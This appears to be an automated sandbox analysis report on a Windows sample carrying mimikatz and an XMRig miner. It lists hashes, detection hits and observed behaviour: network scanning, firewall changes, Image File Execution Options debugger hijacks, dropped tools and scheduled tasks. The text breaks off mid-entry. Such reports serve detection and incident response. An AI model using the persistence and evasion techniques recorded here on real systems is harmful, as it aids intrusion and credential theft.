Analysis
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max time kernel
150s -
max time network
154s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
17/04/2024, 07:36
Behavioral task
behavioral1
Sample
2024-04-17_a21a33c623b08fdab93e73c69706585d_hacktools_icedid_mimikatz.exe
Resource
win7-20240221-en
General
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Target
2024-04-17_a21a33c623b08fdab93e73c69706585d_hacktools_icedid_mimikatz.exe
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Size
7.2MB
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MD5
a21a33c623b08fdab93e73c69706585d
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SHA1
ed708bea10094a1f8166b1e8e433fb393e94a3e5
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SHA256
06ac845daddb3f30dcef4892133a67a53b9c84b37b9e6ad34b147018b2293324
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SHA512
08f6d2a9afd1457905c78f192687f5243c2106e13204c8b2abb2c7c05c2713a4e4f0103c0d26044bf2ec26b26d6f0cf1a0a14731fd3a01f2461e6d93cb3b9212
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SSDEEP
196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1
Malware Config
Signatures
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Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 2556 created 304 2556 pfseynr.exe 17 -
Contacts a large (24633) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Detects executables containing SQL queries to confidential data stores. Observed in infostealers 2 IoCs
resource yara_rule behavioral1/memory/2968-135-0x000000013F6F0000-0x000000013F7DE000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore behavioral1/memory/2968-136-0x000000013F6F0000-0x000000013F7DE000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore -
UPX dump on OEP (original entry point) 34 IoCs
resource yara_rule behavioral1/memory/2204-0-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX behavioral1/files/0x000c0000000133c5-4.dat UPX behavioral1/memory/2624-8-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX behavioral1/files/0x00050000000196a8-132.dat UPX behavioral1/memory/2968-135-0x000000013F6F0000-0x000000013F7DE000-memory.dmp UPX behavioral1/memory/2968-136-0x000000013F6F0000-0x000000013F7DE000-memory.dmp UPX behavioral1/files/0x0005000000019d5f-138.dat UPX behavioral1/memory/2948-142-0x000000013FD70000-0x000000013FDCB000-memory.dmp UPX behavioral1/memory/2612-147-0x000000013FB50000-0x000000013FC70000-memory.dmp UPX behavioral1/files/0x0005000000019bf6-143.dat UPX behavioral1/memory/2948-154-0x000000013FD70000-0x000000013FDCB000-memory.dmp UPX behavioral1/memory/1720-177-0x000000013FE10000-0x000000013FE6B000-memory.dmp UPX behavioral1/memory/1720-180-0x000000013FE10000-0x000000013FE6B000-memory.dmp UPX behavioral1/memory/1228-187-0x000000013F420000-0x000000013F47B000-memory.dmp UPX behavioral1/memory/1228-189-0x000000013F420000-0x000000013F47B000-memory.dmp UPX behavioral1/memory/2612-191-0x000000013FB50000-0x000000013FC70000-memory.dmp UPX behavioral1/memory/1968-196-0x000000013F640000-0x000000013F69B000-memory.dmp UPX behavioral1/memory/1968-198-0x000000013F640000-0x000000013F69B000-memory.dmp UPX behavioral1/memory/2612-200-0x000000013FB50000-0x000000013FC70000-memory.dmp UPX behavioral1/memory/2516-206-0x000000013F380000-0x000000013F3DB000-memory.dmp UPX behavioral1/memory/2516-208-0x000000013F380000-0x000000013F3DB000-memory.dmp UPX behavioral1/memory/2816-215-0x000000013F960000-0x000000013F9BB000-memory.dmp UPX behavioral1/memory/2816-217-0x000000013F960000-0x000000013F9BB000-memory.dmp UPX behavioral1/memory/2612-219-0x000000013FB50000-0x000000013FC70000-memory.dmp UPX behavioral1/memory/2556-223-0x0000000002960000-0x00000000029BB000-memory.dmp UPX behavioral1/memory/2952-225-0x000000013F910000-0x000000013F96B000-memory.dmp UPX behavioral1/memory/2612-227-0x000000013FB50000-0x000000013FC70000-memory.dmp UPX behavioral1/memory/2612-228-0x000000013FB50000-0x000000013FC70000-memory.dmp UPX behavioral1/memory/2612-234-0x000000013FB50000-0x000000013FC70000-memory.dmp UPX behavioral1/memory/2612-250-0x000000013FB50000-0x000000013FC70000-memory.dmp UPX behavioral1/memory/2612-251-0x000000013FB50000-0x000000013FC70000-memory.dmp UPX behavioral1/memory/2612-252-0x000000013FB50000-0x000000013FC70000-memory.dmp UPX behavioral1/memory/2612-254-0x000000013FB50000-0x000000013FC70000-memory.dmp UPX behavioral1/memory/2612-256-0x000000013FB50000-0x000000013FC70000-memory.dmp UPX -
XMRig Miner payload 11 IoCs
resource yara_rule behavioral1/memory/2612-191-0x000000013FB50000-0x000000013FC70000-memory.dmp xmrig behavioral1/memory/2612-200-0x000000013FB50000-0x000000013FC70000-memory.dmp xmrig behavioral1/memory/2612-219-0x000000013FB50000-0x000000013FC70000-memory.dmp xmrig behavioral1/memory/2612-227-0x000000013FB50000-0x000000013FC70000-memory.dmp xmrig behavioral1/memory/2612-228-0x000000013FB50000-0x000000013FC70000-memory.dmp xmrig behavioral1/memory/2612-234-0x000000013FB50000-0x000000013FC70000-memory.dmp xmrig behavioral1/memory/2612-250-0x000000013FB50000-0x000000013FC70000-memory.dmp xmrig behavioral1/memory/2612-251-0x000000013FB50000-0x000000013FC70000-memory.dmp xmrig behavioral1/memory/2612-252-0x000000013FB50000-0x000000013FC70000-memory.dmp xmrig behavioral1/memory/2612-254-0x000000013FB50000-0x000000013FC70000-memory.dmp xmrig behavioral1/memory/2612-256-0x000000013FB50000-0x000000013FC70000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 5 IoCs
resource yara_rule behavioral1/memory/2204-0-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/files/0x000c0000000133c5-4.dat mimikatz behavioral1/memory/2624-8-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/memory/2968-135-0x000000013F6F0000-0x000000013F7DE000-memory.dmp mimikatz behavioral1/memory/2968-136-0x000000013F6F0000-0x000000013F7DE000-memory.dmp mimikatz -
Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts pfseynr.exe File created C:\Windows\system32\drivers\npf.sys wpcap.exe File created C:\Windows\system32\drivers\etc\hosts pfseynr.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 2820 netsh.exe 1292 netsh.exe -
Sets file execution options in registry 2 TTPs 40 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe pfseynr.exe -
Executes dropped EXE 17 IoCs
pid Process 2624 pfseynr.exe 2556 pfseynr.exe 2808 wpcap.exe 1916 clmskurrz.exe 2968 vfshost.exe 2948 rilkvsrev.exe 2612 eeknlv.exe 1352 xohudmc.exe 876 dqljao.exe 1720 rilkvsrev.exe 1228 rilkvsrev.exe 1968 rilkvsrev.exe 2516 rilkvsrev.exe 2816 rilkvsrev.exe 2952 rilkvsrev.exe 1648 pfseynr.exe 1620 btnrzguie.exe -
Loads dropped DLL 24 IoCs
pid Process 2220 cmd.exe 2220 cmd.exe 2784 cmd.exe 2808 wpcap.exe 2808 wpcap.exe 2808 wpcap.exe 2808 wpcap.exe 2808 wpcap.exe 2444 cmd.exe 1916 clmskurrz.exe 1916 clmskurrz.exe 1652 cmd.exe 1652 cmd.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 2556 pfseynr.exe 1972 cmd.exe -
resource yara_rule behavioral1/files/0x00050000000196a8-132.dat upx behavioral1/memory/2968-135-0x000000013F6F0000-0x000000013F7DE000-memory.dmp upx behavioral1/memory/2968-136-0x000000013F6F0000-0x000000013F7DE000-memory.dmp upx behavioral1/files/0x0005000000019d5f-138.dat upx behavioral1/memory/2948-142-0x000000013FD70000-0x000000013FDCB000-memory.dmp upx behavioral1/memory/2612-147-0x000000013FB50000-0x000000013FC70000-memory.dmp upx behavioral1/files/0x0005000000019bf6-143.dat upx behavioral1/memory/2948-154-0x000000013FD70000-0x000000013FDCB000-memory.dmp upx behavioral1/memory/1720-177-0x000000013FE10000-0x000000013FE6B000-memory.dmp upx behavioral1/memory/1720-180-0x000000013FE10000-0x000000013FE6B000-memory.dmp upx behavioral1/memory/1228-187-0x000000013F420000-0x000000013F47B000-memory.dmp upx behavioral1/memory/1228-189-0x000000013F420000-0x000000013F47B000-memory.dmp upx behavioral1/memory/2612-191-0x000000013FB50000-0x000000013FC70000-memory.dmp upx behavioral1/memory/1968-196-0x000000013F640000-0x000000013F69B000-memory.dmp upx behavioral1/memory/1968-198-0x000000013F640000-0x000000013F69B000-memory.dmp upx behavioral1/memory/2612-200-0x000000013FB50000-0x000000013FC70000-memory.dmp upx behavioral1/memory/2516-206-0x000000013F380000-0x000000013F3DB000-memory.dmp upx behavioral1/memory/2516-208-0x000000013F380000-0x000000013F3DB000-memory.dmp upx behavioral1/memory/2816-215-0x000000013F960000-0x000000013F9BB000-memory.dmp upx behavioral1/memory/2816-217-0x000000013F960000-0x000000013F9BB000-memory.dmp upx behavioral1/memory/2612-219-0x000000013FB50000-0x000000013FC70000-memory.dmp upx behavioral1/memory/2556-223-0x0000000002960000-0x00000000029BB000-memory.dmp upx behavioral1/memory/2952-225-0x000000013F910000-0x000000013F96B000-memory.dmp upx behavioral1/memory/2612-227-0x000000013FB50000-0x000000013FC70000-memory.dmp upx behavioral1/memory/2612-228-0x000000013FB50000-0x000000013FC70000-memory.dmp upx behavioral1/memory/2556-229-0x0000000002960000-0x00000000029BB000-memory.dmp upx behavioral1/memory/2612-234-0x000000013FB50000-0x000000013FC70000-memory.dmp upx behavioral1/memory/2612-250-0x000000013FB50000-0x000000013FC70000-memory.dmp upx behavioral1/memory/2612-251-0x000000013FB50000-0x000000013FC70000-memory.dmp upx behavioral1/memory/2612-252-0x000000013FB50000-0x000000013FC70000-memory.dmp upx behavioral1/memory/2612-254-0x000000013FB50000-0x000000013FC70000-memory.dmp upx behavioral1/memory/2612-256-0x000000013FB50000-0x000000013FC70000-memory.dmp upx -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 15 ifconfig.me 16 ifconfig.me -
Creates a Windows Service
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Drops file in System32 directory 12 IoCs
description ioc Process File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File created C:\Windows\SysWOW64\dqljao.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 pfseynr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat pfseynr.exe File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7ADF8A57305EF056A6A6A947A1CF4C7A pfseynr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7ADF8A57305EF056A6A6A947A1CF4C7A pfseynr.exe File opened for modification C:\Windows\SysWOW64\dqljao.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 pfseynr.exe -
Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe -
Drops file in Windows directory 60 IoCs
description ioc Process File created C:\Windows\rbggpfcfq\UnattendGC\specials\exma-1.dll pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\posh-0.dll pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\spoolsrv.xml pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\spoolsrv.exe pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\Shellcode.ini pfseynr.exe File created C:\Windows\rbggpfcfq\Corporate\mimidrv.sys pfseynr.exe File created C:\Windows\rbggpfcfq\uvnzszfjl\clmskurrz.exe pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\docmicfg.xml pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\schoedcl.xml pfseynr.exe File opened for modification C:\Windows\rbggpfcfq\uvnzszfjl\Result.txt btnrzguie.exe File created C:\Windows\rbggpfcfq\UnattendGC\AppCapture64.dll pfseynr.exe File opened for modification C:\Windows\ykuemqcz\pfseynr.exe 2024-04-17_a21a33c623b08fdab93e73c69706585d_hacktools_icedid_mimikatz.exe File created C:\Windows\rbggpfcfq\uvnzszfjl\wpcap.dll pfseynr.exe File created C:\Windows\ykuemqcz\svschost.xml pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\docmicfg.exe pfseynr.exe File created C:\Windows\rbggpfcfq\Corporate\mimilib.dll pfseynr.exe File created C:\Windows\rbggpfcfq\uvnzszfjl\ip.txt pfseynr.exe File created C:\Windows\ykuemqcz\schoedcl.xml pfseynr.exe File opened for modification C:\Windows\ykuemqcz\vimpcsvc.xml pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\AppCapture32.dll pfseynr.exe File created C:\Windows\rbggpfcfq\uvnzszfjl\scan.bat pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\libxml2.dll pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\trfo-2.dll pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\svschost.exe pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\tucl-1.dll pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\zlib1.dll pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\schoedcl.xml pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\docmicfg.xml pfseynr.exe File opened for modification C:\Windows\ykuemqcz\schoedcl.xml pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\cnli-1.dll pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\coli-0.dll pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\trch-1.dll pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\svschost.xml pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\spoolsrv.xml pfseynr.exe File created C:\Windows\ykuemqcz\spoolsrv.xml pfseynr.exe File created C:\Windows\rbggpfcfq\Corporate\vfshost.exe pfseynr.exe File created C:\Windows\ime\pfseynr.exe pfseynr.exe File opened for modification C:\Windows\rbggpfcfq\uvnzszfjl\Packet.dll pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\crli-0.dll pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\vimpcsvc.exe pfseynr.exe File created C:\Windows\ykuemqcz\vimpcsvc.xml pfseynr.exe File created C:\Windows\rbggpfcfq\uvnzszfjl\btnrzguie.exe pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\ssleay32.dll pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\vimpcsvc.xml pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\libeay32.dll pfseynr.exe File opened for modification C:\Windows\rbggpfcfq\Corporate\log.txt cmd.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\schoedcl.exe pfseynr.exe File opened for modification C:\Windows\ykuemqcz\svschost.xml pfseynr.exe File created C:\Windows\rbggpfcfq\uvnzszfjl\wpcap.exe pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\tibe-2.dll pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\xdvl-0.dll pfseynr.exe File created C:\Windows\ykuemqcz\pfseynr.exe 2024-04-17_a21a33c623b08fdab93e73c69706585d_hacktools_icedid_mimikatz.exe File created C:\Windows\ykuemqcz\docmicfg.xml pfseynr.exe File created C:\Windows\rbggpfcfq\uvnzszfjl\Packet.dll pfseynr.exe File opened for modification C:\Windows\ykuemqcz\spoolsrv.xml pfseynr.exe File opened for modification C:\Windows\ykuemqcz\docmicfg.xml pfseynr.exe File created C:\Windows\rbggpfcfq\upbdrjv\swrpwe.exe pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\ucl.dll pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\svschost.xml pfseynr.exe File created C:\Windows\rbggpfcfq\UnattendGC\specials\vimpcsvc.xml pfseynr.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2020 sc.exe 2932 sc.exe 936 sc.exe 2236 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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NSIS installer 3 IoCs
resource yara_rule behavioral1/files/0x000c0000000133c5-4.dat nsis_installer_2 behavioral1/files/0x0009000000016cb1-14.dat nsis_installer_1 behavioral1/files/0x0009000000016cb1-14.dat nsis_installer_2 -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1580 schtasks.exe 1128 schtasks.exe 2644 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" pfseynr.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" rilkvsrev.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust pfseynr.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" rilkvsrev.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople pfseynr.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-30-b7-e3-fe-92\WpadDecisionTime = 80af77339a90da01 pfseynr.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs pfseynr.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" pfseynr.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{BA5A08C5-6DE7-4FDD-AA71-448132A87F3F}\WpadNetworkName = "Network 2" pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-30-b7-e3-fe-92 pfseynr.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-30-b7-e3-fe-92\WpadDecisionReason = "1" pfseynr.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-30-b7-e3-fe-92\WpadDecisionTime = 20a3a2fc9990da01 pfseynr.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump rilkvsrev.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs pfseynr.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix pfseynr.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs pfseynr.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" rilkvsrev.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs pfseynr.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{BA5A08C5-6DE7-4FDD-AA71-448132A87F3F}\WpadDecision = "0" pfseynr.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" rilkvsrev.exe Set value (data) 